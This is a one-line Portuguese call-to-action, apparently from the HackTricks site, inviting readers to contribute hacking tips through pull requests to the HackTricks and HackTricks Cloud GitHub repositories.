- Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub HackTricks e HackTricks Cloud.